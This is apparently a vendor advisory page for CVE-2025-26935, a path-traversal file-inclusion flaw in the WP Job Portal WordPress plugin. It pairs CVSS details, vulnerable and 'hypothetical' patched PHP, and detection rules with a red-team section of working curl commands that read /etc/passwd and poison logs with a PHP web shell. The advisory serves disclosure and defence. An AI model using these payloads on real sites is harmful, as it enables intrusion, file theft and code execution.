CVE-2025-26935
Executive Summary
CVE-2025-26935 is a Path Traversal vulnerability affecting the WP Job Portal WordPress plugin (slug: wp-job-portal) developed by Wpjobportal. The vulnerability allows an unauthenticated attacker to perform PHP Local File Inclusion (LFI) by manipulating file paths using the .../...// pattern. This can lead to the disclosure of sensitive server files, such as /etc/passwd or application configuration files, and potentially enable remote code execution if the attacker can include a malicious file (e.g., via log poisoning). The plugin is widely used on WordPress sites for job board functionality, making this a significant supply chain risk for the WordPress ecosystem.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Since the patch status is unknown, all sites running WP Job Portal version 2.2.8 or earlier are at risk. Administrators should immediately check for updates and consider disabling the plugin until a patch is released.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: None (I:N)
- Availability Impact: None (A:N)
The high confidentiality impact and low attack complexity make this a critical threat for unpatched WordPress sites.
Deep Dive & Mechanics
The vulnerability resides in the plugin's file inclusion mechanism, likely within a PHP function that handles template loading or file retrieval. The path traversal pattern .../...// bypasses simple sanitization filters that remove ../ but fail to account for encoded or obfuscated sequences. By sending a request like:
/wp-content/plugins/wp-job-portal/includes/.../...//.../...//etc/passwd
The attacker can traverse directories and include arbitrary files from the server. Since PHP's include() or require() functions are used, the included file is executed as PHP code. If the attacker can control the content of a file (e.g., via log poisoning or file upload), this can escalate to remote code execution.
Vulnerable vs. Patched Code
Vulnerable Code (<= 2.2.8):
$file = $_GET['file'];
include(plugin_dir_path(__FILE__) . $file);
The $file parameter is not sanitized, allowing path traversal.
Patched Code (Hypothetical):
$file = basename($_GET['file']);
$allowed_path = plugin_dir_path(__FILE__) . 'templates/';
if (strpos(realpath($allowed_path . $file), realpath($allowed_path)) !== 0) {
die('Invalid file');
}
include($allowed_path . $file);
The patch uses basename() to strip directory components and validates the resolved path.
Exploitation & Lab Setup
Red Team
- Setup: Deploy a WordPress instance with WP Job Portal 2.2.8.
- Exploit: Use
curlto perform LFI:curl "http://target/wp-content/plugins/wp-job-portal/includes/.../...//.../...//etc/passwd" - Escalation: If log poisoning is possible, inject PHP code into access logs and include them:
curl -X GET "http://target/?malicious=<?php system($_GET['cmd']); ?>" curl "http://target/wp-content/plugins/wp-job-portal/includes/.../...//.../...//var/log/apache2/access.log&cmd=id"
Blue Team
- Detection: Monitor for path traversal patterns in web logs (e.g.,
.../...//). - Mitigation: Apply WAF rules to block
.../...//sequences. - Hardening: Disable the plugin until a patch is available.
Indicators of Compromise (IOCs)
- File Paths:
/etc/passwd,/etc/shadow,/wp-config.php - URL Patterns:
.../...//in request URIs - Log Entries: Repeated 200 responses to non-existent plugin files
- Network: Outbound connections from the web server to unknown IPs (if RCE achieved)
Detection Engineering
YARA Rule
rule CVE_2025_26935_WP_Job_Portal_LFI {
meta:
description = "Detects path traversal attempts against WP Job Portal"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-26935"
strings:
$traversal = ".../...//"
$plugin_path = "wp-job-portal"
condition:
$traversal and $plugin_path
}
Sigma Rule
title: CVE-2025-26935 WP Job Portal LFI Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts targeting WP Job Portal
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: '.../...//'
condition: selection
falsepositives:
- Legitimate use of triple dots in URLs (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-26935 WP Job Portal LFI Attempt"; flow:to_server; content:".../...//"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable the WP Job Portal plugin if version <= 2.2.8.
- Short-term: Implement a Web Application Firewall (WAF) rule to block
.../...//patterns. - Long-term: Apply the vendor patch once released, or manually patch the code as shown in the "Vulnerable vs. Patched Code" section.
- Monitoring: Review web server logs for path traversal attempts and investigate any successful LFI.
Valters IT
Securing the WordPress Ecosystem
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.